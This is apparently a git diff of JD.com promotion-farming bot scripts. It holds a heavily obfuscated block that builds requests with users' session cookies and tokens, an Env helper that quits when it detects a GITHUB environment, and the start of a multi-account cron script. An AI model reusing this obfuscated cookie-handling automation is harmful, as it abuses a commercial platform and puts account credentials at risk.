_0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){console[_0x5a8a('8')](_0x225544+'\x20'+(_0x59cb5d[_0x5a8a('ff')]||''));}else{if(_0x5c8ca5[_0x5a8a('138')](_0x5c8ca5[_0x5a8a('139')],_0x5c8ca5[_0x5a8a('139')])){if(resp&&resp[_0x5a8a('e9')]&&_0x5c8ca5[_0x5a8a('11a')](resp[_0x5a8a('e9')],0x1ed)){console[_0x5a8a('8')](_0x5c8ca5[_0x5a8a('13a')]);$[_0x5a8a('12')]=!![];}console[_0x5a8a('8')](''+$[_0x5a8a('ec')](err,err));console[_0x5a8a('8')](_0x225544+_0x5a8a('ed'));}else{console[_0x5a8a('8')](_0x225544+'\x20'+_0x172f94);}}break;case _0x5c8ca5[_0x5a8a('13b')]:if(_0x5c8ca5[_0x5a8a('13c')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('12c')]&&_0x5c8ca5[_0x5a8a('13d')](_0x59cb5d[_0x5a8a('12c')],!![])){if(_0x5c8ca5[_0x5a8a('13e')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('c7')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('c7')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('c7')];if(_0x5c8ca5[_0x5a8a('13f')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('54')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('54')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('54')];}else if(_0x5c8ca5[_0x5a8a('140')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){if(_0x5c8ca5[_0x5a8a('138')](_0x5c8ca5[_0x5a8a('141')],_0x5c8ca5[_0x5a8a('142')])){console[_0x5a8a('8')](_0x225544+'\x20'+(_0x59cb5d[_0x5a8a('ff')]||''));}else{if(_0x5c8ca5[_0x5a8a('143')](typeof _0x59cb5d[_0x5a8a('11e')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('52')]=_0x59cb5d[_0x5a8a('11e')];}}else{if(_0x5c8ca5[_0x5a8a('138')](_0x5c8ca5[_0x5a8a('144')],_0x5c8ca5[_0x5a8a('145')])){console[_0x5a8a('8')](_0x225544+'\x20'+_0x172f94);}else{cookiesArr=[$[_0x5a8a('9')](_0x5c8ca5[_0x5a8a('146')]),$[_0x5a8a('9')](_0x5c8ca5[_0x5a8a('147')]),..._0x5c8ca5[_0x5a8a('148')](jsonParse,$[_0x5a8a('9')](_0x5c8ca5[_0x5a8a('149')])||'[]')[_0x5a8a('d')](_0x1ade5f=>_0x1ade5f[_0x5a8a('e')])][_0x5a8a('f')](_0x3b0efc=>!!_0x3b0efc);}}break;case _0x5c8ca5[_0x5a8a('14a')]:if(_0x5c8ca5[_0x5a8a('140')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('12c')]&&_0x5c8ca5[_0x5a8a('13d')](_0x59cb5d[_0x5a8a('12c')],!![])){if(_0x5c8ca5[_0x5a8a('14b')](_0x5c8ca5[_0x5a8a('14c')],_0x5c8ca5[_0x5a8a('14d')])){headers[_0x5c8ca5[_0x5a8a('14e')]]=_0x5a8a('14f')+body[_0x5a8a('150')];headers[_0x5c8ca5[_0x5a8a('151')]]=_0x5c8ca5[_0x5a8a('152')];body=body[_0x5a8a('153')];}else{if(_0x59cb5d[_0x5a8a('12d')][_0x5a8a('154')]){if(_0x5c8ca5[_0x5a8a('155')](_0x5c8ca5[_0x5a8a('156')],_0x5c8ca5[_0x5a8a('157')])){_0x59cb5d=JSON[_0x5a8a('59')](_0x172f94);}else{console[_0x5a8a('8')](_0x5a8a('158')+(_0x59cb5d[_0x5a8a('12d')][_0x5a8a('99')]&&_0x5c8ca5[_0x5a8a('159')](_0x59cb5d[_0x5a8a('12d')][_0x5a8a('99')],'豆豆')||_0x172f94));}}else{console[_0x5a8a('8')](_0x5a8a('15a')+_0x172f94);}}}else if(_0x5c8ca5[_0x5a8a('140')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){console[_0x5a8a('8')](_0x225544+'\x20'+(_0x59cb5d[_0x5a8a('ff')]||''));}else{console[_0x5a8a('8')](_0x225544+'\x20'+_0x172f94);}break;case _0x5c8ca5[_0x5a8a('15b')]:case _0x5c8ca5[_0x5a8a('15c')]:case _0x5c8ca5[_0x5a8a('15d')]:case _0x5c8ca5[_0x5a8a('114')]:break;default:console[_0x5a8a('8')](_0x225544+_0x5a8a('15e')+_0x172f94);}if(_0x5c8ca5[_0x5a8a('15f')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){if(_0x5c8ca5[_0x5a8a('160')](_0x59cb5d[_0x5a8a('ff')][_0x5a8a('22')]('火爆'),-0x1)){$[_0x5a8a('11')]=!![];}}}function getPostRequest(_0x11fe76,_0x5af05c,_0x147e8a=_0x5a8a('8f')){var _0xb96b54={'EwxFR':function(_0x31c53e,_0x2f0239){return _0x31c53e(_0x2f0239);},'PxpZI':function(_0x2bd3ab,_0x1ddf25){return _0x2bd3ab==_0x1ddf25;},'vikSw':_0x5a8a('88'),'ckRVb':_0x5a8a('161'),'VKliH':_0x5a8a('162'),'hVFex':_0x5a8a('163'),'LWIFR':_0x5a8a('164'),'HocCK':_0x5a8a('165'),'Hcvlc':function(_0x5a8045,_0x1b1ffd){return _0x5a8045>_0x1b1ffd;},'Lncup':_0x5a8a('166'),'TNSpE':function(_0x561551,_0x194d14){return _0x561551!==_0x194d14;},'TKrKx':_0x5a8a('167'),'mdtrP':_0x5a8a('168'),'fdZRu':_0x5a8a('169'),'yJpCE':_0x5a8a('16a'),'geKdN':_0x5a8a('16b'),'CdFGR':function(_0x3d3db9,_0x437084){return _0x3d3db9&&_0x437084;},'fmuoZ':function(_0x160762,_0xa8df37){return _0x160762+_0xa8df37;},'ITwhP':function(_0x14a556,_0x1aafbc){return _0x14a556+_0x1aafbc;},'zkivg':_0x5a8a('16c'),'bXLkD':_0x5a8a('8f'),'dxMyc':_0x5a8a('103'),'WVnwa':_0x5a8a('16d'),'rxWsw':_0x5a8a('104'),'ljqHj':_0x5a8a('16e'),'GEfnX':function(_0x4d9552,_0xcd62cc){return _0x4d9552>_0xcd62cc;},'BSAiE':_0x5a8a('16f'),'DigWg':_0x5a8a('107'),'FjPvF':function(_0x29f05f,_0x3a1dd6){return _0x29f05f!==_0x3a1dd6;},'AALKr':_0x5a8a('170'),'HPIQw':_0x5a8a('171'),'aqows':_0x5a8a('105')};let _0x7ae722=cookie;let _0x26bd4e='';let _0x21089f={'Accept':_0xb96b54[_0x5a8a('172')],'Accept-Language':_0xb96b54[_0x5a8a('173')],'Accept-Encoding':_0xb96b54[_0x5a8a('174')],'Connection':_0xb96b54[_0x5a8a('175')],'Cookie':''+_0x7ae722,'X-Requested-With':_0xb96b54[_0x5a8a('176')],'User-Agent':''+(UA||$['UA'])};if(_0xb96b54[_0x5a8a('177')](_0x11fe76[_0x5a8a('22')](_0xb96b54[_0x5a8a('178')]),-0x1)){if(_0xb96b54[_0x5a8a('179')](_0xb96b54[_0x5a8a('17a')],_0xb96b54[_0x5a8a('17b')])){_0x21089f[_0xb96b54[_0x5a8a('17c')]]=_0x5a8a('a9')+$[_0x5a8a('46')];_0x21089f[_0xb96b54[_0x5a8a('17d')]]=_0x5a8a('17e');_0x21089f[_0xb96b54[_0x5a8a('17f')]]=''+(_0xb96b54[_0x5a8a('180')](lz_jdpin_token_cookie,lz_jdpin_token_cookie)||'')+($[_0x5a8a('53')]&&_0xb96b54[_0x5a8a('181')](_0xb96b54[_0x5a8a('182')](_0xb96b54[_0x5a8a('183')],$[_0x5a8a('53')]),';')||'')+activityCookie;}else{_0xb96b54[_0x5a8a('184')](setActivityCookie,resp);if(err){if(resp[_0x5a8a('e9')]&&_0xb96b54[_0x5a8a('185')](resp[_0x5a8a('e9')],0x1ed)){console[_0x5a8a('8')](_0xb96b54[_0x5a8a('186')]);$[_0x5a8a('12')]=!![];}console[_0x5a8a('8')](''+$[_0x5a8a('ec')](err));console[_0x5a8a('8')]($[_0x5a8a('26')]+_0x5a8a('187'));}else{}}}if(_0xb96b54[_0x5a8a('185')](_0x147e8a,_0xb96b54[_0x5a8a('188')])){_0x21089f[_0xb96b54[_0x5a8a('189')]]=_0xb96b54[_0x5a8a('18a')];_0x21089f[_0xb96b54[_0x5a8a('18b')]]=_0xb96b54[_0x5a8a('18c')];}if(_0xb96b54[_0x5a8a('18d')](_0x11fe76[_0x5a8a('22')](_0xb96b54[_0x5a8a('18e')]),-0x1)&&_0xb96b54[_0x5a8a('185')](typeof _0x5af05c,_0xb96b54[_0x5a8a('18f')])&&_0x5af05c[_0x5a8a('150')]){if(_0xb96b54[_0x5a8a('190')](_0xb96b54[_0x5a8a('191')],_0xb96b54[_0x5a8a('192')])){_0x21089f[_0xb96b54[_0x5a8a('189')]]=_0x5a8a('14f')+_0x5af05c[_0x5a8a('150')];_0x21089f[_0xb96b54[_0x5a8a('18b')]]=_0xb96b54[_0x5a8a('193')];_0x5af05c=_0x5af05c[_0x5a8a('153')];}else{console[_0x5a8a('8')](_0x5a8a('5a'));return;}}return{'url':_0x11fe76,'method':_0x147e8a,'headers':_0x21089f,'body':_0x5af05c,'timeout':0x7530};}function getIndex(){var _0x1d0f10={'jANcI':function(_0x45d5ad){return _0x45d5ad();},'kUhiM':_0x5a8a('161'),'QzaGl':_0x5a8a('162'),'zilKo':_0x5a8a('163'),'Qzjbi':_0x5a8a('164'),'FfjGe':function(_0x1c7a49,_0x56f98a){return _0x1c7a49&&_0x56f98a;},'kBZHx':function(_0x452532,_0x44ccc1){return _0x452532+_0x44ccc1;},'QDVSJ':function(_0x30daf2,_0x190e2c){return _0x30daf2+_0x190e2c;},'NvUJW':_0x5a8a('16c')};return new Promise(_0x35e1c2=>{let _0x4d952f={'url':_0x5a8a('194')+$[_0x5a8a('c7')]+_0x5a8a('195')+$[_0x5a8a('53')],'headers':{'Accept':_0x1d0f10[_0x5a8a('196')],'Accept-Language':_0x1d0f10[_0x5a8a('197')],'Accept-Encoding':_0x1d0f10[_0x5a8a('198')],'Connection':_0x1d0f10[_0x5a8a('199')],'Cookie':''+(_0x1d0f10[_0x5a8a('19a')](lz_jdpin_token_cookie,lz_jdpin_token_cookie)||'')+($[_0x5a8a('53')]&&_0x1d0f10[_0x5a8a('19b')](_0x1d0f10[_0x5a8a('19c')](_0x1d0f10[_0x5a8a('19d')],$[_0x5a8a('53')]),';')||'')+activityCookie,'Referer':_0x5a8a('a9')+$[_0x5a8a('46')],'User-Agent':$['UA']}};$[_0x5a8a('19e')](_0x4d952f,async(_0x190fff,_0x5637ac,_0x43a296)=>{try{}catch(_0x5125d1){$[_0x5a8a('36')](_0x5125d1,_0x5637ac);}finally{_0x1d0f10[_0x5a8a('19f')](_0x35e1c2);}});});}function getCk(){var _0x398dde={'ImYxL':function(_0x176183,_0x3e1428){return _0x176183(_0x3e1428);},'UuofW':function(_0x598fa0,_0x40d2f4){return _0x598fa0===_0x40d2f4;},'atDAa':_0x5a8a('1a0'),'umrIX':function(_0x3d0a8a,_0x2a42ab){return _0x3d0a8a==_0x2a42ab;},'XMoLt':function(_0x552963,_0x4a48ae){return _0x552963===_0x4a48ae;},'FMTZb':_0x5a8a('1a1'),'mmSoa':_0x5a8a('88'),'FiELW':function(_0x1b5496){return _0x1b5496();},'yOYQb':_0x5a8a('169'),'JsaXB':_0x5a8a('16a'),'OENBP':_0x5a8a('16b'),'mFYcK':function(_0x2cb34d,_0x5a9679){return _0x2cb34d&&_0x5a9679;},'fdihT':function(_0x1d1107,_0x3bf410){return _0x1d1107+_0x3bf410;},'mQTNy':function(_0x4057e3,_0x574a7f){return _0x4057e3+_0x574a7f;},'XktCu':_0x5a8a('16c')};return new Promise(_0x4813f1=>{var _0x3d3253={'aVBaM':_0x398dde[_0x5a8a('1a2')],'jxcfN':_0x398dde[_0x5a8a('1a3')],'fFsAE':_0x398dde[_0x5a8a('1a4')],'WzOal':function(_0x3b1ad6,_0x1a183a){return _0x398dde[_0x5a8a('1a5')](_0x3b1ad6,_0x1a183a);},'diDTR':function(_0x13f7b7,_0x1562d9){return _0x398dde[_0x5a8a('1a6')](_0x13f7b7,_0x1562d9);},'ZSZql':function(_0x592b17,_0x3038d1){return _0x398dde[_0x5a8a('1a7')](_0x592b17,_0x3038d1);},'rjHUF':_0x398dde[_0x5a8a('1a8')]};let _0x2c0e21={'url':_0x5a8a('a9')+$[_0x5a8a('46')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x5a8a('19e')](_0x2c0e21,async(_0x5a7ce3,_0x159bed,_0xe58aec)=>{try{_0x398dde[_0x5a8a('1a9')](setActivityCookie,_0x159bed);if(_0x5a7ce3){if(_0x398dde[_0x5a8a('1aa')](_0x398dde[_0x5a8a('1ab')],_0x398dde[_0x5a8a('1ab')])){if(_0x159bed[_0x5a8a('e9')]&&_0x398dde[_0x5a8a('1ac')](_0x159bed[_0x5a8a('e9')],0x1ed)){if(_0x398dde[_0x5a8a('1ad')](_0x398dde[_0x5a8a('1ae')],_0x398dde[_0x5a8a('1ae')])){console[_0x5a8a('8')](_0x398dde[_0x5a8a('1af')]);$[_0x5a8a('12')]=!![];}else{headers[_0x3d3253[_0x5a8a('1b0')]]=_0x5a8a('a9')+$[_0x5a8a('46')];headers[_0x3d3253[_0x5a8a('1b1')]]=_0x5a8a('17e');headers[_0x3d3253[_0x5a8a('1b2')]]=''+(_0x3d3253[_0x5a8a('1b3')](lz_jdpin_token_cookie,lz_jdpin_token_cookie)||'')+($[_0x5a8a('53')]&&_0x3d3253[_0x5a8a('1b4')](_0x3d3253[_0x5a8a('1b5')](_0x3d3253[_0x5a8a('1b6')],$[_0x5a8a('53')]),';')||'')+activityCookie;}}console[_0x5a8a('8')](''+$[_0x5a8a('ec')](_0x5a7ce3));console[_0x5a8a('8')]($[_0x5a8a('26')]+_0x5a8a('187'));}else{console[_0x5a8a('8')](type+'\x20'+_0xe58aec);}}else{}}catch(_0x36085c){$[_0x5a8a('36')](_0x36085c,_0x159bed);}finally{_0x398dde[_0x5a8a('1b7')](_0x4813f1);}});});}function setActivityCookie(_0x37c459){var _0x1112af={'KKzEC':_0x5a8a('3b'),'kbBFP':_0x5a8a('1b8'),'iBVSq':_0x5a8a('1b9'),'OgImu':_0x5a8a('1ba'),'DvozQ':function(_0x6b59c5,_0x54663e){return _0x6b59c5!==_0x54663e;},'jUbYD':_0x5a8a('1bb'),'kBeNB':function(_0x79dec7,_0x5dc52f){return _0x79dec7!=_0x5dc52f;},'CtksI':_0x5a8a('107'),'XIVje':function(_0x51083f,_0x57d0e9){return _0x51083f>_0x57d0e9;},'qDUxz':_0x5a8a('84'),'zXShX':function(_0x2e8eea,_0xd2599e){return _0x2e8eea+_0xd2599e;},'cuvDx':function(_0x400c18,_0x260fc9){return _0x400c18>_0x260fc9;},'xSGxV':_0x5a8a('85'),'RNXyF':_0x5a8a('86'),'AffYj':function(_0xa5a0de,_0x27fc74){return _0xa5a0de+_0x27fc74;},'ZnEtK':function(_0x77717c,_0x13c47c){return _0x77717c+_0x13c47c;},'YHmCU':function(_0xa0393e,_0x1e910a){return _0xa0393e&&_0x1e910a;}};let _0x12155d='';let _0x5b5cbb='';let _0x1c7325='';let _0x1741b4=_0x37c459&&_0x37c459[_0x1112af[_0x5a8a('1bc')]]&&(_0x37c459[_0x1112af[_0x5a8a('1bc')]][_0x1112af[_0x5a8a('1bd')]]||_0x37c459[_0x1112af[_0x5a8a('1bc')]][_0x1112af[_0x5a8a('1be')]]||'')||'';let _0x30de06='';if(_0x1741b4){if(_0x1112af[_0x5a8a('1bf')](_0x1112af[_0x5a8a('1c0')],_0x1112af[_0x5a8a('1c0')])){console[_0x5a8a('8')](_0x1112af[_0x5a8a('1c1')]);return;}else{if(_0x1112af[_0x5a8a('1c2')](typeof _0x1741b4,_0x1112af[_0x5a8a('1c3')])){_0x30de06=_0x1741b4[_0x5a8a('4a')](',');}else _0x30de06=_0x1741b4;for(let _0x548856 of _0x30de06){let _0x3c60d2=_0x548856[_0x5a8a('4a')](';')[0x0][_0x5a8a('f1')]();if(_0x3c60d2[_0x5a8a('4a')]('=')[0x1]){if(_0x1112af[_0x5a8a('1c4')](_0x3c60d2[_0x5a8a('22')](_0x1112af[_0x5a8a('1c5')]),-0x1))_0x12155d=_0x1112af[_0x5a8a('1c6')](_0x3c60d2[_0x5a8a('f5')](/ /g,''),';');if(_0x1112af[_0x5a8a('1c7')](_0x3c60d2[_0x5a8a('22')](_0x1112af[_0x5a8a('1c8')]),-0x1))_0x5b5cbb=_0x1112af[_0x5a8a('1c6')](_0x3c60d2[_0x5a8a('f5')](/ /g,''),';');if(_0x1112af[_0x5a8a('1c7')](_0x3c60d2[_0x5a8a('22')](_0x1112af[_0x5a8a('1c9')]),-0x1))_0x1c7325=_0x1112af[_0x5a8a('1ca')](_0x1112af[_0x5a8a('1cb')]('',_0x3c60d2[_0x5a8a('f5')](/ /g,'')),';');}}}}if(_0x1112af[_0x5a8a('1cc')](_0x12155d,_0x5b5cbb))activityCookie=_0x12155d+'\x20'+_0x5b5cbb;if(_0x1c7325)lz_jdpin_token_cookie=_0x1c7325;}async function getUA(){var _0x4515ab={'qPFvd':function(_0x1eba17,_0x55cb15){return _0x1eba17(_0x55cb15);}};$['UA']=_0x5a8a('1cd')+_0x4515ab[_0x5a8a('1ce')](randomString,0x28)+_0x5a8a('1cf');}function randomString(_0x226690){var _0x24b44={'bPOdL':function(_0x28303e,_0x46c3f3){return _0x28303e||_0x46c3f3;},'XNmnY':_0x5a8a('101'),'pTNLn':function(_0x185223,_0xe7fffa){return _0x185223<_0xe7fffa;},'BFERX':function(_0x4a6192,_0x283bc3){return _0x4a6192*_0x283bc3;}};_0x226690=_0x24b44[_0x5a8a('1d0')](_0x226690,0x20);let _0x6863=_0x24b44[_0x5a8a('1d1')],_0x39ac24=_0x6863[_0x5a8a('29')],_0xee0e91='';for(i=0x0;_0x24b44[_0x5a8a('1d2')](i,_0x226690);i++)_0xee0e91+=_0x6863[_0x5a8a('128')](Math[_0x5a8a('69')](_0x24b44[_0x5a8a('1d3')](Math[_0x5a8a('6b')](),_0x39ac24)));return _0xee0e91;}function jsonParse(_0x861566){var _0x12ad2a={'elhPB':_0x5a8a('88'),'dNPHJ':function(_0xfd39f2,_0x3eee1b){return _0xfd39f2==_0x3eee1b;},'kgIKj':_0x5a8a('1d4'),'jCFxa':function(_0x316797,_0x50bd9e){return _0x316797===_0x50bd9e;},'CWfOz':_0x5a8a('1d5'),'HBUuM':_0x5a8a('8c')};if(_0x12ad2a[_0x5a8a('1d6')](typeof _0x861566,_0x12ad2a[_0x5a8a('1d7')])){if(_0x12ad2a[_0x5a8a('1d8')](_0x12ad2a[_0x5a8a('1d9')],_0x12ad2a[_0x5a8a('1d9')])){try{return JSON[_0x5a8a('59')](_0x861566);}catch(_0x315d3d){console[_0x5a8a('8')](_0x315d3d);$[_0x5a8a('25')]($[_0x5a8a('26')],'',_0x12ad2a[_0x5a8a('1da')]);return[];}}else{console[_0x5a8a('8')](_0x12ad2a[_0x5a8a('1db')]);$[_0x5a8a('12')]=!![];}}};_0xodp='jsjiami.com.v6'; +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_doge.js b/backUp/gua_doge.js new file mode 100644 index 0000000..8ba296a --- /dev/null +++ b/backUp/gua_doge.js @@ -0,0 +1,481 @@ +/* +8.4-8.15 七夕情报局🐶 [gua_doge.js] +———————————————— +一个号10次助力机会 +第一次跑会组队 (组了就不能退 到活动结束 +组队规则: +第1个号和第2个号组队 第3和第4组队 (如果中间有一个号已经组队了 自动顺延到下一个号 +如果没有组队跑了脚本后需要再跑一次才能做地图任务 + +入口:[8.4-8.15 七夕情报局🐶 (https://xinrui1-isv.isvjcloud.com/jd-seventh/?channel=zjy)] + +============Quantumultx=============== +[task_local] +#8.4-8.15 七夕情报局🐶 +36 0,10,21 4-15 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_doge.js, tag=8.4-8.15 七夕情报局🐶, enabled=true + +================Loon============== +[Script] +cron "36 0,10,21 4-15 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_doge.js,tag=8.4-8.15 七夕情报局🐶 + +===============Surge================= +8.4-8.15 七夕情报局🐶 = type=cron,cronexp="36 0,10,21 4-15 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_doge.js + +============小火箭========= +8.4-8.15 七夕情报局🐶 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_doge.js, cronexpr="36 0,10,21 4-15 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.4-8.15 七夕情报局🐶'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if 